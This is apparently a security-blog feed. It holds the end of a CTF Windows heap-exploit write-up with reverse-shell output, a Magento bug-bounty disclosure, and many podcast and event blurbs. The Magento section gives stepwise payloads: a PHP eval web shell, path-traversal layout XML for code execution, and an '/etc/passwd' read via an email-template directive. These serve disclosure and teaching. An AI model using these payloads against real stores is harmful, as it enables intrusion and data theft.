[+] Opening connection to 172.16.62.153 on port 42003: Done
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] thread 4 addr stored in ntdll @ 0x7ff892b33bb0
check threads list
[+] target_heap @ 0x17ccd460000
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19227
[+] Opening connection to 172.16.62.153 on port 42003: Done
[+] Spawning shell...
And get the connect-back (here from the CTF server):
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [212.83.129.72] from 95.230.242.35.bc.googleusercontent.com [35.242.230.95] 49729
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\winhttpd\inetpub>cd ..
C:\winhttpd>dir
Volume in drive C has no label.
Volume Serial Number is F845-3464
Directory of C:\winhttpd
01/19/2019 01:07 AM <DIR> .
01/19/2019 01:07 AM <DIR> ..
01/19/2019 12:52 AM <DIR> inetpub
01/19/2019 01:06 AM 26,112 winhttpd.exe
01/18/2019 11:01 PM <DIR> wow_gg_the_flag_is_in_here
1 File(s) 26,112 bytes
4 Dir(s) 40,418,689,024 bytes free
C:\winhttpd>cd wow_gg_the_flag_is_in_here
C:\winhttpd\wow_gg_the_flag_is_in_here>type flag.txt
INS{HEADs I WIN, tails you lose}
In summary we used 5 requests/threads which we all kept alive throughout the exploit:
- 1st one leaked the address of the first private heap
- 2nd leaked NTDLL + the RtlpHeapKey value
- 3rd leaks the address of the target heap
- 4th has the target heap, we keep it waiting for a while then trigger a large allocation to get RIP
- 5th uses a the arbitrary write to overwrite the mangled CommitRoutine pointer with a stack pivot
Conclusions
Of course none of this is really specific to “private” heaps. You can find the same ntdll!RtlpStaticDebugInfo pointer and CommitRoutine callback in the main heap as well
Unfortunately no team was able to solve the challenge during the CTF, although it appears that several teams were pretty close!
You can find my exploit here and the sources here. It can fail sometimes because of things like occasional NULL bytes in the leaked values, but should work most of the time.
Magento – RCE & Local File Read with low privilege admin rights
I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16.
Both of vulnerabilities need low privileges admin account, usually given to Marketing users :
- The first vulnerability is a command execution using path traversal, and requires the user to be able to create products
- The second vulnerability is a local file read, and requires the user to be able to create email templates
Here are the details !
Command Execution in Product Creation
Magento has its own way to define the layout of a product, into the Design tab of the Product creation system. It’s format is XML-based and follows a syntax documented by Magento themselves. The full documentation is here : https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html
The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template :
/**
* Retrieve block view from file (template)
*
* @param string $fileName
* @return string
*/
public function fetchView($fileName)
{
$relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
\Magento\Framework\Profiler::start(
'TEMPLATE:' . $fileName,
['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]
);
if ($this->validator->isValid($fileName)) {
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$templateEngine = $this->templateEnginePool->get($extension);
$html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
} else {
$html = '';
$templatePath = $fileName ?: $this->getTemplate();
$errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
. " block's name: '{$this->getNameInLayout()}'";
if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
throw new \Magento\Framework\Exception\ValidatorException(
new \Magento\Framework\Phrase(
$errorMessage
)
);
}
$this->_logger->critical($errorMessage);
}
\Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
return $html;
}
This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun.
The $fileName
parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so :
protected function isPathInDirectories($path, $directories)
{
if (!is_array($directories)) {
$directories = (array)$directories;
}
foreach ($directories as $directory) {
if (0 === strpos($path, $directory)) {
return true;
}
}
return false;
}
This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms.
“Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml. Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension
This is sufficient for having a command execution payload. Here is the complete steps :
- Log in with a user that has some low admin privileges and is allowed to create products
- First of all, create a new product, with a new Custom Options of type File, with .phtml as an authorized extension and some pieces in stock to order one.
- Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “blaklis.phtml” and contains “
<?php eval(stripslashes($_REQUEST[0])); ?>
“ - The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml. For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
- You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request :
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
This will make CURL crash and display an error with full path in it
[...]
Connection: close
remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}} - In the design tab of the product, add a 2 column layouts with the following XML in Layout Update XML :
<referenceContainer name="sidebar.additional">
<block class="Magento\Backend\Block\Template" name="test">
<action method="fetchView">
<argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument>
</action>
</block>
</referenceContainer> - Go to the frontend page of this product; your code should executed.
This flaw was not that obvious, but has been fun to search for!
Local File Read in Email Templating
This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }}. One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template.
The functions that are managing this directive are the following :
public function cssDirective($construction)
{
if ($this->isPlainTemplateMode()) {
return '';
}
$params = $this->getParameters($construction[2]);
$file = isset($params['file']) ? $params['file'] : null;
if (!$file) {
// Return CSS comment for debugging purposes
return '/* ' . __('"file" parameter must be specified') . ' */';
}
$css = $this->getCssProcessor()->process(
$this->getCssFilesContent([$params['file']])
);
if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
// Return compilation error wrapped in CSS comment
return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
} elseif (!empty($css)) {
return $css;
} else {
// Return CSS comment for debugging purposes
return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
}
}
public function getCssFilesContent(array $files)
{
// Remove duplicate files
$files = array_unique($files);
$designParams = $this->getDesignParams();
if (!count($designParams)) {
throw new \Magento\Framework\Exception\MailException(
__('Design params must be set before calling this method')
);
}
$css = '';
try {
foreach ($files as $file) {
$asset = $this->_assetRepo->createAsset($file, $designParams);
$pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
if ($pubDirectory->isExist($asset->getPath())) {
$css .= $pubDirectory->readFile($asset->getPath());
} else {
$css .= $asset->getContent();
}
}
} catch (ContentProcessorException $exception) {
$css = $exception->getMessage();
} catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
$css = '';
}
return $css;
}
Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable.
Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}}
should be sufficient to trigger the vulnerability.
Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one
- 2018.09.11 : initial disclosure for the path traversal / RCE
- 2018.09.17 : triaged by Bugcrowd staff
- 2018.10.08 : triaged by Magento staff
- 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
- 2018.12.11 : a $5000 bounty was awarded
- 2018.08.09 : initial disclosure for the path traversal / local file read
- 2018.08.29 : triaged by Bugcrowd staff after asking for details
- 2018.10.08 : triaged by Magento staff
- 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
- 2019.01.04 : a $2500 bounty was awarded
How to Become a Chief Information Security Officer | Guest Joshua Knight
Joshua Knight, cybersecurity business leader at Dimension Data, discusses his career journey as well as the steps you can take to move your career towards the path of a chief information security officer (CISO).
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
GRIP v0.1
Getting Started in Red Teaming and Offensive Security | Guest Curtis Brazzell
Get insight into what it takes to be a successful Red Team member in this chat with Curtis Brazzell, managing security consultant at Pondurance.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
- Infosec Resources
- California Consumer Privacy Act: Are You Prepared for 2020? | Guests Jay Rodne and Aaron Weller
California Consumer Privacy Act: Are You Prepared for 2020? | Guests Jay Rodne and Aaron Weller
The California Consumer Privacy Act (CCPA), which gives residents more control over the use of their data and regulators increased powers to punish organizations, goes into effect on January 1, 2020. With California recently becoming the fifth largest economy in the world, the CPPA is expected to have wide-reaching impact.
Listen to this audio version of our recent webinar to learn how to best prepare for the CCPA with Jay Rodne, Privacy Director at Sentinel and former Washington State Representative, and Aaron Weller, VP of Strategy at Sentinel and Fellow of Information Privacy.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Public Intrusion Test of Swiss Post’s E-Voting System
Context
The Swiss Cantons have offered online voting to members of their electorate since 2004. Meanwhile, more than 200 binding trials at Federal votes and elections have taken place in 15 cantons over the years.
In order to expand online voting to a broader public, the Federal regulation obliges the Cantons to meet an additional set of requirements. These include the system feature of full verifiability, performing numerous audits and publishing the software components’ source code.
Additionally, the Swiss Confederation and the Cantons have decided that the systems used for online voting needed to be publicly tested within the setting of a public intrusion test (PIT). By performing a PIT, the Confederation and the Cantons are hoping to get a valuable outside view on the system by a large number of competent people.
Swiss Post’s E-Voting System
Swiss Post provides one of the major online voting platforms currently available in Switzerland. The latest version of this platform has already been pen-tested and certified under the legal framework of the Swiss Confederation. As required by Federal regulations, this system must now be subject to a public intrusion test.
Third-party operator
In order to managed and operate this PIT, a third-party and independent company has been selected: SCRT.
SCRT are not involved in the development, deployment or promotion of Swiss Post’s e-voting system and act under the mandate of the Swiss Confederation and the Cantons.
They are responsible for enabling registration and vulnerability submission as well as providing support to participants. SCRT are the single point of contact for all participants and oversee the review and triage of the vulnerability submissions.
Dates
The Public Intrusion Test will start on Feb. 25th 2019. It will be running for a period of four weeks, which corresponds to the duration of a Swiss federal vote, until March 24th 2019.
Compensations
Swiss Post have committed to compensate participants if they reveal a relevant vulnerability. An amount of CHF 150’000.- is available for compensations.
Registration and further details
Registration is open starting of today at https://www.onlinevote-pit.ch/
Anyone can register and participate. While the target is a Swiss e-voting system, this PIT is meant for anyone interested in the matter and is not restricted to Swiss citizens.
Growing the Number of Women in Cybersecurity | Guest Olivia Rose
Olivia Rose, director of global executive risk solutions at Kudelski Security, gives advice to women who are considering entering the cybersecurity industry.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
CIS Top 20 Security Controls with Tony Sager | Guest Tony Sager
Get insight into the CIS Top 20 Security Controls straight from the source, Center for Internet Security® Senior Vice President and Chief Evangelist Tony Sager.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Closing the Cyber Skills Gap | Guest Kathleen Hyde
Kathleen Hyde, chair of cybersecurity programs at Champlain College online, discusses a topic that's a big part of InfoSec Institute's initiative for the coming years — finding new and innovative ways of closing the cyber skills gap.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
- Infosec Resources
- The Current State of Artificial Intelligence in Cybersecurity | Guest Eric Stevens
The Current State of Artificial Intelligence in Cybersecurity | Guest Eric Stevens
Eric Stevens, vice president of engineering and principal architect at ProtectWise, discusses the current state of artificial intelligence in cybersecurity and the company's recent report on the topic, "The State of AI in Cybersecurity."
Learn more about the report: https://www.protectwise.com/post/new-research-shows-benefits-limitations-and-evolving-questions-of-ai-in-cybersecurity/.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
- Infosec Resources
- The Business Impact of Cyber Risk | Guests David Kruse, Jeff McCollum and Justin Webb
The Business Impact of Cyber Risk | Guests David Kruse, Jeff McCollum and Justin Webb
A panel of experts discusses how businesses are impacted by cyber risk.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Where are All the Government Infosec Professionals? | Guest Gregory Garrett
Gregory Garrett, head of U.S. and international cybersecurity for BDO, discusses the U.S. government's cybersecurity skills gap.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
VPNs and the ongoing battle for privacy | Guest Pete Zaborszky
Pete Zaborszky, founder of BestVPN.com, discusses VPNs and online privacy.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Enigma 2017 Crackme 0 Writeup
Take control of your infosec career with CyberSeek | Guest Tim Herbert
Tim Herbert, vice president of research and market intelligence for CyberSeek, joins us to discuss something we're very excited about at Infosec, the National Initiative for Cybersecurity Education’s CyberSeek model. The CyberSeek model helps aspiring and experienced infosec professionals progress through their career by providing clearly defined career pathways, an interactive job map, a list of skills and certifications most requested by employers for different roles, and a variety of other helpful data points that are backed by research into the information security job market.
– Check out the CyberSeek platform: https://www.cyberseek.org/pathway.html.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Introduction to angr Part 0
Creating a more diverse cybersecurity workforce | Guest Ruth Gomel-Kafri
Ruth Gomel-Kafri, director of product design at the security policy company Tufin, discusses her work overseeing the company's product design group and what it's like to work at a cybersecurity organization with such an impressively diverse workforce.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Introduction to angr Part 1
Introduction to angr Part 2
Saving lives with ICS and critical infrastructure security | Guest Emily Miller
Emily Miller, director of national security and critical infrastructure programs at Mocana, discusses her passion for critical infrastructure security and how securing industrial Internet-of-Things (IoT) devices is really about saving lives.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Introduction to angr Part 2.1
What’s it like to be a help desk manager? | Guest Gloria Milton
Gloria Milton, help desk manager at itSynergy, discusses what it is like to be a help desk manager and her two decades of experience in the industry.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Introduction to angr Part 3
What does a director of fraud and identity do? | Guest Kimberly Sutherland
Kimberly Sutherland of LexisNexis Risk Solutions discusses authentication and identity-proofing.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
How to become a Certified Ethical Hacker (CEH) | Guest Keatron Evans
Infosec's Keatron Evans discusses ethical hacking careers and the Certified Ethical Hacker (CEH).
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
Risk management and understanding what matters most | Guest Liz Mann
EY's Liz Mann discusses risk management and her work building a diverse cybersecurity workforce.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast